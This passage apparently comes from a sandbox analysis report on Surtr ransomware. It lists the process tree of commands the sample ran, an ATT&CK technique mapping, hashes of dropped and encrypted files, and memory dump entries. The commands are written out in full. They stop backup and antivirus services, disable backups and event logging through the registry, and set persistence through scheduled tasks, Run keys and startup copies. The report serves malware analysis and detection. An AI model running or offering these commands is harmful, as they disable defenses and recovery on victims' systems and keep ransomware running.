        
        C:\Windows\system32\net1 stop "BackupExecAgentBrowser"
        5⤵
        
        PID:2520
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Server /v NoBackupToOptical /t REG_DWORD /d 1 /f
    3⤵
    PID:5864
  - - C:\Windows\system32\reg.exe
      reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Server /v NoBackupToOptical /t REG_DWORD /d 1 /f
      4⤵
      PID:788
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c net stop "BackupExecDeviceMediaService"
    3⤵
    PID:1784
  - - C:\Windows\system32\net.exe
      net stop "BackupExecDeviceMediaService"
      4⤵
      PID:1744
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 stop "BackupExecDeviceMediaService"
        5⤵
        
        PID:452
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Server /v NoRunNowBackup /t REG_DWORD /d 1 /f
    3⤵
    PID:1092
  - - C:\Windows\system32\reg.exe
      reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Server /v NoRunNowBackup /t REG_DWORD /d 1 /f
      4⤵
      PID:1676
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c net stop "BackupExecJobEngine"
    3⤵
    PID:5596
  - - C:\Windows\system32\net.exe
      net stop "BackupExecJobEngine"
      4⤵
      PID:2832
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 stop "BackupExecJobEngine"
        5⤵
        
        PID:5892
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\WMI\Autologger\EventLog-System\{9580d7dd-0379-4658-9870-d5be7d52d6de} /v Enable /t REG_DWORD /d 0 /f
    3⤵
    PID:5908
  - - C:\Windows\system32\reg.exe
      reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\WMI\Autologger\EventLog-System\{9580d7dd-0379-4658-9870-d5be7d52d6de} /v Enable /t REG_DWORD /d 0 /f
      4⤵
      PID:5896
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c net stop "BackupExecManagementService"
    3⤵
    PID:5924
  - - C:\Windows\system32\net.exe
      net stop "BackupExecManagementService"
      4⤵
      PID:6116
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 stop "BackupExecManagementService"
        5⤵
        
        PID:6132
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c mkdir "C:\ProgramData\Service"
    3⤵
    PID:4768
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c mkdir "%TEMP%\Service"
    3⤵
    PID:6052
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c net stop "BackupExecRPCService"
    3⤵
    PID:2244
  - - C:\Windows\system32\net.exe
      net stop "BackupExecRPCService"
      4⤵
      PID:5332
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 stop "BackupExecRPCService"
        5⤵
        
        PID:5564
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c copy "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\SURTR_README.hta" "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup\SURTR_README.hta"
    3⤵
    - Drops startup file
    PID:6020
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c copy "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\SURTR_README.txt" "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup\SURTR_README.txt"
    3⤵
    - Drops startup file
    PID:1720
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c net stop "BackupExecVSSProvider"
    3⤵
    PID:5508
  - - C:\Windows\system32\net.exe
      net stop "BackupExecVSSProvider"
      4⤵
      PID:4324
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 stop "BackupExecVSSProvider"
        5⤵
        
        PID:3000
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c copy "C:\ProgramData\Service\Surtr.exe" "%TEMP%\Service\Surtr.exe"
    3⤵
    PID:3488
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c copy "C:\ProgramData\Service\Public_DATA.surt" "%TEMP%\Service\Public_DATA.surt"
    3⤵
    PID:2216
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c copy "C:\ProgramData\Service\Private_DATA.surt" "%TEMP%\Service\Private_DATA.surt"
    3⤵
    PID:3088
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c net stop "EPSecurityService"
    3⤵
    PID:4288
  - - C:\Windows\system32\net.exe
      net stop "EPSecurityService"
      4⤵
      PID:4596
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 stop "EPSecurityService"
        5⤵
        
        PID:4420
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c copy "C:\ProgramData\Service\ID_DATA.surt" "%TEMP%\Service\ID_DATA.surt"
    3⤵
    PID:4408
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c copy "C:\ProgramData\Service\SURTR_README.hta" "%TEMP%\Service\SURTR_README.hta"
    3⤵
    PID:2012
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c net stop "IISAdmin"
    3⤵
    PID:116
  - - C:\Windows\system32\net.exe
      net stop "IISAdmin"
      4⤵
      PID:1800
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 stop "IISAdmin"
        5⤵
        
        PID:4760
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c copy "C:\ProgramData\Service\SURTR_README.txt" "%TEMP%\Service\SURTR_README.txt"
    3⤵
    PID:4044
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c attrib +R /S "C:\ProgramData\Service"
    3⤵
    PID:4540
  - - C:\Windows\system32\attrib.exe
      attrib +R /S "C:\ProgramData\Service"
      4⤵
      Views/modifies file attributes
      PID:5164
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c net stop "IMAP4Svc"
    3⤵
    PID:5136
  - - C:\Windows\system32\net.exe
      net stop "IMAP4Svc"
      4⤵
      PID:2588
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 stop "IMAP4Svc"
        5⤵
        
        PID:4792
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c net stop "macmnsvc"
    3⤵
    PID:3256
  - - C:\Windows\system32\net.exe
      net stop "macmnsvc"
      4⤵
      PID:4412
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 stop "macmnsvc"
        5⤵
        
        PID:1048
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c net stop "masvc"
    3⤵
    PID:2144
  - - C:\Windows\system32\net.exe
      net stop "masvc"
      4⤵
      PID:3280
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 stop "masvc"
        5⤵
        
        PID:5116
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c attrib +R /S "%TEMP%\Service"
    3⤵
    PID:4020
  - - C:\Windows\system32\attrib.exe
      attrib +R /S "C:\Users\Admin\AppData\Local\Temp\Service"
      4⤵
      Views/modifies file attributes
      PID:3180
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c net stop "MBAMService"
    3⤵
    PID:1268
  - - C:\Windows\system32\net.exe
      net stop "MBAMService"
      4⤵
      PID:2280
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 stop "MBAMService"
        5⤵
        
        PID:2480
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c schtasks /CREATE /SC ONLOGON /TN svchos1 /TR "C:\ProgramData\Service\Surtr.exe" /RU SYSTEM /RL HIGHEST /F
    3⤵
    PID:5088
  - - C:\Windows\system32\schtasks.exe
      schtasks /CREATE /SC ONLOGON /TN svchos1 /TR "C:\ProgramData\Service\Surtr.exe" /RU SYSTEM /RL HIGHEST /F
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:4684
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c net stop "MBEndpointAgent"
    3⤵
    PID:2472
  - - C:\Windows\system32\net.exe
      net stop "MBEndpointAgent"
      4⤵
      PID:3400
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 stop "MBEndpointAgent"
        5⤵
        
        PID:3228
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c schtasks /CREATE /SC ONLOGON /TN svchos2 /TR "C:\ProgramData\Service\Surtr.exe" /F
    3⤵
    PID:3024
  - - C:\Windows\system32\schtasks.exe
      schtasks /CREATE /SC ONLOGON /TN svchos2 /TR "C:\ProgramData\Service\Surtr.exe" /F
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:5008
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c net stop "McAfeeEngineService"
    3⤵
    PID:3656
  - - C:\Windows\system32\net.exe
      net stop "McAfeeEngineService"
      4⤵
      PID:3080
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 stop "McAfeeEngineService"
        5⤵
        
        PID:2340
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c copy "C:\ProgramData\Service\Surtr.exe" "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup\Surtr.exe"
    3⤵
    - Drops startup file
    PID:1992
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ /v "svchos1" /t REG_SZ /d C:\ProgramData\Service\Surtr.exe /f
    3⤵
    PID:1192
  - - C:\Windows\system32\reg.exe
      reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ /v "svchos1" /t REG_SZ /d C:\ProgramData\Service\Surtr.exe /f
      4⤵
      Adds Run key to start application
      PID:2364
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c net stop "McAfeeFramework"
    3⤵
    PID:2656
  - - C:\Windows\system32\net.exe
      net stop "McAfeeFramework"
      4⤵
      PID:3360
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 stop "McAfeeFramework"
        5⤵
        
        PID:2924
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c reg add HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ /v "svchos2" /t REG_SZ /d C:\ProgramData\Service\Surtr.exe /f
    3⤵
    PID:2968
  - - C:\Windows\system32\reg.exe
      reg add HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ /v "svchos2" /t REG_SZ /d C:\ProgramData\Service\Surtr.exe /f
      4⤵
      Adds Run key to start application
      PID:3116
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\ /v "svchos3" /t REG_SZ /d C:\ProgramData\Service\Surtr.exe /f
    3⤵
    PID:5308
  - - C:\Windows\system32\reg.exe
      reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\ /v "svchos3" /t REG_SZ /d C:\ProgramData\Service\Surtr.exe /f
      4⤵
      Adds Run key to start application
      PID:4988
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c net stop "McAfeeFrameworkMcAfeeFramework"
    3⤵
    PID:2376
  - - C:\Windows\system32\net.exe
      net stop "McAfeeFrameworkMcAfeeFramework"
      4⤵
      PID:1736
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 stop "McAfeeFrameworkMcAfeeFramework"
        5⤵
        
        PID:2312
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c reg add HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\ /v "svchos4" /t REG_SZ /d C:\ProgramData\Service\Surtr.exe /f
    3⤵
    PID:2096
  - - C:\Windows\system32\reg.exe
      reg add HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\ /v "svchos4" /t REG_SZ /d C:\ProgramData\Service\Surtr.exe /f
      4⤵
      Adds Run key to start application
      PID:2768
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c net stop "McShield"
    3⤵
    PID:5224
  - - C:\Windows\system32\net.exe
      net stop "McShield"
      4⤵
      PID:2984
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 stop "McShield"
        5⤵
        
        PID:4080
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c net stop "mfemms"
    3⤵
    PID:6064
  - - C:\Windows\system32\net.exe
      net stop "mfemms"
      4⤵
      PID:24300
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 stop "mfemms"
        5⤵
        
        PID:24324
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c net stop "mfevtp"
    3⤵
    PID:24380
  - - C:\Windows\system32\net.exe
      net stop "mfevtp"
      4⤵
      PID:24460
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 stop "mfevtp"
        5⤵
        
        PID:24480

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:4340

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Windows Management Instrumentation

T1047

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Direct Volume Access

T1006

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Inhibit System Recovery

T1490

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\s_download_audit_report_18.svg.[[email protected]].SURT

Filesize
1KB

MD5
11105a794799313a6a6554f28e8619ff

SHA1
7e5daf92251effa9a831810e2fe93d812235f9cd

SHA256
268ff552a04e865ffb669f5e12a581162a54a73c49618db7cca471aad418845a

SHA512
fbe60dda250fdf536a940aa7892f883d89daaa7e2a9dd50bc9a4841060326c61cb26ec2a45501c6dd1a7ccff718d995e8deaa6f0eb6fd06009cda52abf41f64c

Download Submit
C:\Program Files\Common Files\microsoft shared\ClickToRun\C2R32.dll.[[email protected]].SURT

Filesize
2.7MB

MD5
613739b3a7e6b02a09a2dfda88d07696

SHA1
e919c20034a7315555edcba274fc7dd0d9b123ce

SHA256
11aaa8bcb0625c062b65eeb7bb6f83b853c950b17110eef29bbaee5e552c54be

SHA512
0120a98c15b53d59acce67e01347922c435bdbba4acff4d4f9d26d65a056d9b5318e88295dc95000993c981f26522449f63a8e4461d7f4f3d39bab835cee5949

Download Submit
C:\Program Files\Java\jdk-1.8\jre\lib\ext\sunjce_provider.jar.[[email protected]].SURT

Filesize
287KB

MD5
cbb18501e7ce1b17cfcbfd9c22a20b3a

SHA1
97bbc4d0c86ce6d48f111da7e0d8f218ae54a238

SHA256
e7575575397bf7deb06440d0dc9646b499d4677b7b867f231994ae4c5d1d1383

SHA512
4b41e46a972f98d4fd3c52b003b40295f84208675da60b16b61c12bc0afd5f19896a1b8be99454272cbe7c9606e4b5b2fee626d22a64e0867368d128847658d3

Download Submit
C:\ProgramData\Service\ID_DATA.surt

Filesize
14B

MD5
b2ef5c591684f0abe0f570f3d24170e1

SHA1
d8ca039b4f205ba47a04c68d9ed1e7eb54cb5937

SHA256
90ece01bd7f5f2c63c1ffcf6cd158a0954b09ee6c0885d54d1a5400dfff14271

SHA512
616c7d1352ce21852146e708d679d520589ec4127ebf1e21083973ce6a6f9fe20b92cd5b2991db20ac57b90944c3ab6aeea8711f2e1999db248b19096a4423ac

Download Submit
C:\ProgramData\Service\Private_DATA.surt

Filesize
1KB

MD5
954c07a42654c01f0cab84c6eb812672

SHA1
45becf8077a0e2dfc6130de989e619dbf1984f6c

SHA256
4ffd19416e41862ec4c09928b4e3c0d694a6cef6b5464736f01ce308870e74ef

SHA512
00d9188a7c76b3998f37ca977c8f21679c8af8a6d3fac817b0e3668543193a1acb0b960846d01d14e5ae21cd8e596d9c1cb7283a3d264d654898953cc791c783

Download Submit
C:\ProgramData\Service\Public_DATA.surt

Filesize
204B

MD5
6e70e90164b511d1a6a1dce23e3eeae6

SHA1
6024ab8afb250ab270d44e07c9f94525fa1b52e5

SHA256
87fc68ca73a19f0a819b9b1de06cf042238ed4a1a81422989e7a721da435d765

SHA512
ac4c7aebb8c4659cbaa50007d4dd964e7a3a090663ca60021a118a7e9f50bf71dd1652ab63b9e73271bc495ac9b033acf9584070529dc73069794404fe3363e4

Download Submit
C:\ProgramData\Service\Surtr.exe

Filesize
320KB

MD5
e6fc190168519d6a6c4f1519e9450f0f

SHA1
af2080ddf1064fb80c7b9af942aaabf264441098

SHA256
8199ef63e0058be6217ec8392258fbe7fac9fb556b8e87f40a3a45835f424980

SHA512
4522d4e3f8a38dbceb30d09ea04ceeacc33bb273d702d706be68405cd4c9492f862f4ae741f4e0140b54203b3db521e96663f9757bb241b1ac63c1eda3ebb6ba

Download Submit
C:\Users\Admin\AppData\Local\Temp\SURTR_README.hta

Filesize
8KB

MD5
7c473eae3c1de14c9e85aab52c2a364b

SHA1
fcd6fa76f6b7271711d292409234b8c5e8fe356e

SHA256
e5bcfcdb14dfc294aab7ab67215459067d7b80e4dc9a1a447e8c6bb4a768284c

SHA512
2179f2deb8c87eaac46117113a451aebcd3cfc0b2da8caaab6ed86d06f8a227aaefda42afd9e9d1d3041f6eed1a02f0058744781debcd7fa5dc184cef6166153

Download Submit
C:\Users\Admin\AppData\Local\Temp\SURTR_README.txt

Filesize
621B

MD5
7023a1d6fcbfd38725c2acd6daf7a555

SHA1
26f6ed07880c9bc0ba1e8f322b98fc004aabb993

SHA256
80b215a8a94a296e85e4e1f45a471e7de0cc21d0e2404aa035a355473c8347a2

SHA512
047ca47d261c98513caa8a42d63a0c1c8e648f365d0dc5505cfa12d04d8d2d40b5ac5f446d02935d4475d6d9d6309bdf50c43f41cb74db8ec6180a3d376e6e51

Download Submit
memory/4852-41-0x0000000140000000-0x0000000140136000-memory.dmp

Filesize
1.2MB

Download
memory/4852-40-0x0000000140000000-0x0000000140136000-memory.dmp

Filesize
1.2MB

Download
memory/4852-37-0x0000000140000000-0x0000000140136000-memory.dmp

Filesize
1.2MB

Download
memory/4852-0-0x0000000140000000-0x0000000140136000-memory.dmp

Filesize
1.2MB

Download
memory/4852-43-0x0000000140000000-0x0000000140136000-memory.dmp

Filesize
1.2MB

Download
memory/4852-49-0x0000000140000000-0x0000000140136000-memory.dmp

Filesize
1.2MB

Download
memory/4852-58-0x0000000140000000-0x0000000140136000-memory.dmp

Filesize
1.2MB

Download
memory/4852-57-0x0000000140000000-0x0000000140136000-memory.dmp

Filesize
1.2MB

Download
memory/4852-56-0x0000000140000000-0x0000000140136000-memory.dmp

Filesize
1.2MB

Download
memory/4852-55-0x0000000140000000-0x0000000140136000-memory.dmp

Filesize
1.2MB

Download
memory/4852-54-0x0000000140000000-0x0000000140136000-memory.dmp

Filesize
1.2MB

Download
memory/4852-53-0x0000000140000000-0x0000000140136000-memory.dmp

Filesize
1.2MB

Download
memory/4852-52-0x0000000140000000-0x0000000140136000-memory.dmp

Filesize
1.2MB

Download
memory/4852-51-0x0000000140000000-0x0000000140136000-memory.dmp

Filesize
1.2MB

Download
memory/4852-50-0x0000000140000000-0x0000000140136000-memory.dmp

Filesize
1.2MB

Download
memory/4852-48-0x0000000140000000-0x0000000140136000-memory.dmp

Filesize
1.2MB

Download
memory/4852-47-0x0000000140000000-0x0000000140136000-memory.dmp

Filesize
1.2MB

Download
memory/4852-46-0x0000000140000000-0x0000000140136000-memory.dmp

Filesize
1.2MB

Download
memory/4852-45-0x0000000140000000-0x0000000140136000-memory.dmp

Filesize
1.2MB

Download
memory/4852-44-0x0000000140000000-0x0000000140136000-memory.dmp

Filesize
1.2MB

Download
memory/4852-42-0x0000000140000000-0x0000000140136000-memory.dmp

Filesize
1.2MB

Download
memory/4852-34-0x0000000140000000-0x0000000140136000-memory.dmp

Filesize
1.2MB

Download
memory/4852-39-0x0000000140000000-0x0000000140136000-memory.dmp

Filesize
1.2MB

Download
memory/4852-38-0x0000000140000000-0x0000000140136000-memory.dmp

Filesize
1.2MB

Download
memory/4852-36-0x0000000140000000-0x0000000140136000-memory.dmp

Filesize
1.2MB

Download
memory/4852-35-0x0000000140000000-0x0000000140136000-memory.dmp

Filesize
1.2MB

Download
memory/4852-4-0x0000000140000000-0x0000000140136000-memory.dmp

Filesize
1.2MB

Download
memory/4852-5-0x0000000140000000-0x0000000140136000-memory.dmp

Filesize
1.2MB

Download
memory/4852-32-0x0000000140000000-0x0000000140136000-memory.dmp

Filesize
1.2MB

Download
memory/4852-8-0x0000000140000000-0x0000000140136000-memory.dmp

Filesize
1.2MB

Download
memory/4852-121-0x0000000140000000-0x0000000140136000-memory.dmp

Filesize
1.2MB

Download
memory/4852-120-0x0000000140000000-0x0000000140136000-memory.dmp

Filesize
1.2MB

Download
memory/4852-117-0x0000000140000000-0x0000000140136000-memory.dmp

Filesize
1.2MB

Download
memory/4852-116-0x0000000140000000-0x0000000140136000-memory.dmp

Filesize
1.2MB

Download
memory/4852-119-0x0000000140000000-0x0000000140136000-memory.dmp

Filesize
1.2MB

Download
memory/4852-3-0x0000000140000000-0x0000000140136000-memory.dmp

Filesize
1.2MB

Download
memory/4852-118-0x0000000140000000-0x0000000140136000-memory.dmp

Filesize
1.2MB

Download
memory/4852-2-0x0000000140000000-0x0000000140136000-memory.dmp

Filesize
1.2MB

Download
memory/4852-1-0x0000000140000000-0x0000000140136000-memory.dmp

Filesize
1.2MB

Download
memory/4852-10208-0x0000000140000000-0x0000000140136000-memory.dmp

Filesize
1.2MB

Download
memory/4852-10223-0x0000000140000000-0x0000000140136000-memory.dmp

Filesize
1.2MB

Download